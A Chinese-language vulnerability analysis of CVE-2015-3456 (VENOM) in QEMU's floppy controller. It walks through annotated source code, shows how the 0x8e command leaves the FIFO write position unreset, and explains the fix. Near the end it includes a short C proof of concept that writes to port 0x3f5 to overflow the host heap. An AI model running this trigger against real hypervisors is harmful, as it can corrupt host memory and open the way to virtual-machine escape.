环境搭建
QEMU版本: 1.5.3
编译
◆ 下载 Python 2.7
apt install python2.7 python2.7-dev
◆ 安装必要的依赖
apt-get install -y \
git \
libglib2.0-dev \
libfdt-dev \
libpixman-1-dev \
zlib1g-dev \
ninja-build \
pkg-config \
libgnutls28-dev \
libssl-dev \
libsasl2-dev \
libgtk-3-dev \
libvte-2.91-dev \
libssh-dev \
libusb-1.0-0-dev \
libaio-dev \
libcap-ng-dev \
libattr1-dev \
libcurl4-gnutls-dev \
python3 \
python3-pip \
flex \
bison
◆ 构建配置
../configure --enable-debug --enable-kvm --python=/usr/bin/python2.7 --disable-werror --disable-virtfs
FDC控制器概述
FDC(Floppy Disk Controller)是一个模拟 Intel 82078 软盘控制器的虚拟硬件设备,主要用于云原生和虚拟化环境中的传统设备支持。它的核心功能包括:
- 控制软盘驱动器(最多2个,MAX_FD = 2)
- 处理软盘命令(READ、WRITE、SEEK、FORMAT等)
- 管理数据传输(DMA或PIO模式)
- 维护驱动器状态(磁头位置、磁道、扇区等)
初始化流程
QEMU启动
↓
设备注册 (fdc_register_types)
↓
设备实例化 (qdev_create)
↓
设备初始化 (qdev_init_nofail)
↓
调用设备特定的init函数:
├─→ isabus_fdc_init1 (ISA设备)
├─→ sysbus_fdc_init1 (SysBus设备)
└─→ sun4m_fdc_init1 (Sun4m设备)
↓
fdctrl_init_common(fdctrl)
↓
初始化command_to_handler查找表
↓
分配fifo缓冲区: qemu_memalign(512, 512)
↓
设置fifo_size = 512
↓
初始化其他控制器状态
↓
连接驱动器 (fdctrl_connect_drives)
FDC I/O端口映射
iobase 定义
static Property isa_fdc_properties[] = {
DEFINE_PROP_HEX32("iobase", FDCtrlISABus, iobase, 0x3f0),
DEFINE_PROP_UINT32("irq", FDCtrlISABus, irq, 6),
DEFINE_PROP_UINT32("dma", FDCtrlISABus, dma, 2),
DEFINE_PROP_DRIVE("driveA", FDCtrlISABus, state.drives[0].bs),
DEFINE_PROP_DRIVE("driveB", FDCtrlISABus, state.drives[1].bs),
DEFINE_PROP_INT32("bootindexA", FDCtrlISABus, bootindexA, -1),
DEFINE_PROP_INT32("bootindexB", FDCtrlISABus, bootindexB, -1),
DEFINE_PROP_BIT("check_media_rate", FDCtrlISABus, state.check_media_rate, 0, true),
DEFINE_PROP_END_OF_LIST(),
};
从属性定义可知,默认的 iobase 为 0x3f0。
端口映射表
/* FDC I/O端口映射表 - outb机制的关键
*
* 结构说明:
* { offset, length, size, .read = func, .write = func }
* - offset: 相对于iobase的偏移量
* - length: 端口范围长度
* - size: 访问大小(1=字节,2=字,4=双字)
*
* 端口映射(假设iobase=0x3f0):
* - 0x3f1-0x3f5: 偏移1-5,映射到fdctrl_read/fdctrl_write
* * 0x3f1 (offset=1): FD_REG_SRA (状态寄存器A)
* * 0x3f2 (offset=2): FD_REG_DOR (数字输出寄存器)
* * 0x3f3 (offset=3): FD_REG_TDR (磁带驱动器寄存器)
* * 0x3f4 (offset=4): FD_REG_MSR (主状态寄存器)
* * 0x3f5 (offset=5): FD_REG_FIFO (FIFO数据寄存器) ← 漏洞触发端口!
* - 0x3f7: 偏移7,映射到fdctrl_read/fdctrl_write
* * 0x3f7 (offset=7): FD_REG_DIR (数字输入寄存器) 或 FD_REG_CCR (配置控制寄存器)
*/
static const MemoryRegionPortio fdc_portio_list[] = {
{ 1, 5, 1, .read = fdctrl_read, .write = fdctrl_write }, /* 0x3f1-0x3f5 */
{ 7, 1, 1, .read = fdctrl_read, .write = fdctrl_write }, /* 0x3f7 */
PORTIO_END_OF_LIST(),
};
此定义意味着对 0x3f1-0x3f5 及 0x3f7 端口的访问会由 fdctrl_write 与 fdctrl_read 函数处理。
FDC操作映射
根据传入的 offset 决定具体操作。例如,向 0x3f5 写入数据,offset 为5(0x3f5 - 0x3f0),fdctrl_write 函数接收的参数为 (opaque, 5, value),对应 FD_REG_FIFO 寄存器。
enum {
FD_REG_SRA = 0x00,
FD_REG_SRB = 0x01,
FD_REG_DOR = 0x02,
FD_REG_TDR = 0x03,
FD_REG_MSR = 0x04,
FD_REG_DSR = 0x04,
FD_REG_FIFO = 0x05,
FD_REG_DIR = 0x07,
FD_REG_CCR = 0x07,
};
static void fdctrl_write (void *opaque, uint32_t reg, uint32_t value)
{
FDCtrl *fdctrl = opaque;
FLOPPY_DPRINTF("write reg%d: 0x%02x\n", reg & 7, value);
reg &= 7;
switch (reg) {
case FD_REG_DOR:
fdctrl_write_dor(fdctrl, value);
break;
case FD_REG_TDR:
fdctrl_write_tape(fdctrl, value);
break;
case FD_REG_DSR:
fdctrl_write_rate(fdctrl, value);
break;
case FD_REG_FIFO:
fdctrl_write_data(fdctrl, value);
break;
case FD_REG_CCR:
fdctrl_write_ccr(fdctrl, value);
break;
default:
break;
}
}
fdctrl_write_data 函数
当 offset 为 5 (FD_REG_FIFO) 时,会调用 fdctrl_write_data 函数,这是此次安全/渗透测试中漏洞的核心所在。
static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
FDrive *cur_drv;
int pos;
/* 检查1: 控制器必须在非RESET状态 */
if (!(fdctrl->dor & FD_DOR_nRESET)) {
FLOPPY_DPRINTF("Floppy controller in RESET state !\n");
return;
}
/* 检查2: 控制器必须准备好接收数据
* - MSR_RQM: 请求主模式标志,必须置位
* - MSR_DIO: 数据方向标志,0=写(主机→控制器),1=读(控制器→主机)
*/
if (!(fdctrl->msr & FD_MSR_RQM) || (fdctrl->msr & FD_MSR_DIO)) {
FLOPPY_DPRINTF("error: controller not ready for writing\n");
return;
}
fdctrl->dsr &= ~FD_DSR_PWRDOWN;
/* 判断是否处于非DMA数据传输模式 */
if (fdctrl->msr & FD_MSR_NONDMA) {
pos = fdctrl->data_pos++;
pos %= FD_SECTOR_LEN;
fdctrl->fifo[pos] = value;
if (pos == FD_SECTOR_LEN - 1 ||
fdctrl->data_pos == fdctrl->data_len) {
cur_drv = get_cur_drv(fdctrl);
if (bdrv_write(cur_drv->bs, fd_sector(cur_drv), fdctrl->fifo, 1) < 0) {
FLOPPY_DPRINTF("error writing sector %d\n", fd_sector(cur_drv));
return;
}
if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
FLOPPY_DPRINTF("error seeking to next sector %d\n", fd_sector(cur_drv));
return;
}
}
if (fdctrl->data_pos == fdctrl->data_len)
fdctrl_stop_transfer(fdctrl, 0x00, 0x00, 0x00);
return;
}
/* ========================================================================
* 命令识别阶段 - 当data_pos==0时,识别这是一个新命令
* ========================================================================
*/
if (fdctrl->data_pos == 0) {
/* Command - 命令识别 */
pos = command_to_handler[value & 0xff]; /* 查找命令对应的handler索引 */
FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
/* 设置预期数据长度:命令字节 + 参数数量 */
fdctrl->data_len = handlers[pos].parameters + 1;
/* 设置命令忙标志 */
fdctrl->msr |= FD_MSR_CMDBUSY;
}
FLOPPY_DPRINTF("%s: %02x\n", __func__, value);
/* ========================================================================
* CVE-2015-3456 漏洞核心代码 - 无边界检查的FIFO写入
* ========================================================================
* 漏洞点:直接使用data_pos作为数组索引,没有检查是否超过fifo_size(512)
*/
fdctrl->fifo[fdctrl->data_pos++] = value; /* 漏洞:直接使用data_pos,无边界检查! */
/* ========================================================================
* 命令处理阶段 - 当data_pos == data_len时,所有参数接收完毕
* ========================================================================
*/
if (fdctrl->data_pos == fdctrl->data_len) {
/* 所有参数接收完毕,可以处理命令了 */
if (fdctrl->data_state & FD_STATE_FORMAT) {
/* 格式化命令的特殊处理 */
fdctrl_format_sector(fdctrl);
return;
}
/* 根据命令字节查找并调用相应的处理器 */
pos = command_to_handler[fdctrl->fifo[0] & 0xff];
FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
/* 调用命令处理函数 */
(*handlers[pos].handler)(fdctrl, handlers[pos].direction);
}
/* 注意:如果data_pos != data_len,函数返回,等待下一次写入
* 攻击者可以继续发送数据,使data_pos继续增长,直到超过512
*/
}
FIFO缓冲区
FIFO是FDC的核心缓冲区,用途包括:
- 命令接收:主机通过FIFO发送命令和参数。
- 数据传输:在主机和软盘之间缓冲数据。
- 状态返回:控制器通过FIFO返回状态和结果。
FIFO内存布局与分配
fdctrl->fifo 在初始化时被分配了固定大小的512字节空间。
fdctrl->fifo = qemu_memalign(512, FD_SECTOR_LEN);
fdctrl->fifo_size = 512;
内存布局如下:
内存地址布局(FDCtrl结构体中的FIFO相关字段):
+------------------+
| fifo (指针) | → 指向实际分配的512字节缓冲区
+------------------+
| fifo_size | = 512 (固定值)
+------------------+
| data_pos | = 当前读写位置(可能超过512)
+------------------+
| data_len | = 本次传输的总长度
+------------------+
实际FIFO缓冲区:
+------------------+
| fifo[0] | ← 命令字节
+------------------+
| fifo[1] | ← 参数1
+------------------+
| ... |
+------------------+
| fifo[511] | ← 最后一个字节
+------------------+
命令处理表与查找
fdctrl_init_common 函数会初始化 command_to_handler 查找表,用于根据命令字节快速定位到 handlers 数组中的对应处理结构。
static int fdctrl_init_common(FDCtrl *fdctrl)
{
int i, j;
static int command_tables_inited = 0;
/* Fill 'command_to_handler' lookup table */
if (!command_tables_inited) {
command_tables_inited = 1;
for (i = ARRAY_SIZE(handlers) - 1; i >= 0; i--) {
for (j = 0; j < sizeof(command_to_handler); j++) {
if ((j & handlers[i].mask) == handlers[i].value) {
command_to_handler[j] = i;
}
}
}
}
// ...
}
部分命令定义和处理程序映射示例:
enum {
...
FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
...
};
static const struct {
uint8_t value;
uint8_t mask;
const char* name;
int parameters;
void (*handler)(FDCtrl *fdctrl, int direction);
int direction;
} handlers[] = {
...
{ FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION COMMAND", 5, fdctrl_handle_drive_specification_command },
...
};
FIFO状态重置机制
正常情况下,命令处理完成后应调用重置函数来清理状态,防止后续操作出错。
/* FIFO状态重置函数 */
static void fdctrl_reset_fifo(FDCtrl *fdctrl)
{
fdctrl->data_dir = FD_DIR_WRITE;
fdctrl->data_pos = 0; /* 关键:重置写入位置 */
fdctrl->msr &= ~(FD_MSR_CMDBUSY | FD_MSR_DIO);
}
static void fdctrl_set_fifo(FDCtrl *fdctrl, int fifo_len)
{
fdctrl->data_dir = FD_DIR_READ;
fdctrl->data_len = fifo_len;
fdctrl->data_pos = 0; /* 关键:重置写入位置 */
fdctrl->msr |= FD_MSR_CMDBUSY | FD_MSR_RQM | FD_MSR_DIO;
}
漏洞原理分析
漏洞利用的关键在于 0x8e (FD_CMD_DRIVE_SPECIFICATION_COMMAND) 命令的处理函数存在缺陷。
触发条件
- 向
0x3f5 (FD_REG_FIFO) 端口写入命令字节 0x8e。
- 该命令需要5个参数,因此
data_len 被设置为6(1个命令字节+5个参数)。
- 依次发送5个参数,
data_pos 从1增长到6。
- 当
data_pos == data_len (6) 时,调用 fdctrl_handle_drive_specification_command 函数。
漏洞函数分析
static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
FDrive *cur_drv = get_cur_drv(fdctrl);
/* 检查第5个参数(fifo[5])的最高位 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
/* Command parameters done - 参数处理完成 */
if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
/* bit6=1: 需要返回结果 */
fdctrl->fifo[0] = fdctrl->fifo[1];
fdctrl->fifo[2] = 0;
fdctrl->fifo[3] = 0;
fdctrl_set_fifo(fdctrl, 4); /* 正常:重置data_pos=0 */
} else {
/* bit6=0: 不需要返回结果 */
fdctrl_reset_fifo(fdctrl); /* 正常:重置data_pos=0 */
}
} else if (fdctrl->data_len > 7) {
/* ERROR - 数据长度错误 */
/* 注意:对于0x8e命令,data_len固定为6,此条件永不成立 */
fdctrl->fifo[0] = 0x80 |
(cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
fdctrl_set_fifo(fdctrl, 1);
}
/* 漏洞点:如果第5个参数的bit7=0,且data_len<=7,函数直接返回!
* 没有调用任何重置函数,data_pos保持为6。
*/
}
漏洞成因:如果攻击者精心构造第5个参数,使其最高位(bit7)为0,则函数会直接返回,既没有调用 fdctrl_set_fifo,也没有调用 fdctrl_reset_fifo。这导致 data_pos 的值停留在6,而没有被重置为0。
缓冲区溢出
由于 data_pos 未被重置,攻击者可以继续向 0x3f5 端口写入数据。每次写入都会执行 fdctrl->fifo[fdctrl->data_pos++] = value;。
- 当
data_pos 从6增长到511时,写入操作仍在 fifo 数组的有效范围内。
- 当
data_pos 达到512时,写入 fifo[512] 就发生了越界,开始覆盖 FDCtrl 结构体之后或之前的堆内存。
data_pos 可以持续增加(例如通过循环写入),导致大规模的堆缓冲区溢出,为云原生/IaaS环境中的虚拟机逃逸攻击提供了可能。
漏洞复现(概念验证代码)
以下是一个简单的概念验证(PoC)代码,用于触发漏洞:
#include <sys/io.h>
#include <stdio.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3); // 获取I/O端口访问权限
// 1. 发送漏洞命令 0x8e
outb(0x8e, FIFO);
// 2. 发送5个参数,其中第5个参数的bit7为0
for(i = 0; i < 5; i++) {
outb(0x00, FIFO); // 前4个参数任意,第5个参数需控制
}
// 假设第5个参数为0x00 (bit7=0)
// 3. 持续写入数据,触发溢出
for(i = 0; i < 10000; i++) {
outb(0x42, FIFO); // 写入任意数据,data_pos将不断增长
}
return 0;
}
总结与修复
CVE-2015-3456(Venom漏洞)的本质是QEMU虚拟的软盘控制器(FDC)在处理特定命令(0x8e)时,状态机重置逻辑存在缺陷,导致攻击者可以诱发堆缓冲区溢出。成功利用此漏洞可能使宿主机上的恶意虚拟机实现逃逸,访问或破坏宿主机的内存。
修复方案是在 fdctrl_handle_drive_specification_command 函数的最后,确保在任何执行路径下都重置FIFO状态(例如添加一个默认的 fdctrl_reset_fifo 调用),并在 fdctrl_write_data 函数中对 data_pos 进行严格的边界检查,确保其不会超过 fifo_size。
参考资源:
- 漏洞公告与深度分析
- QEMU 官方 Git 提交修复记录
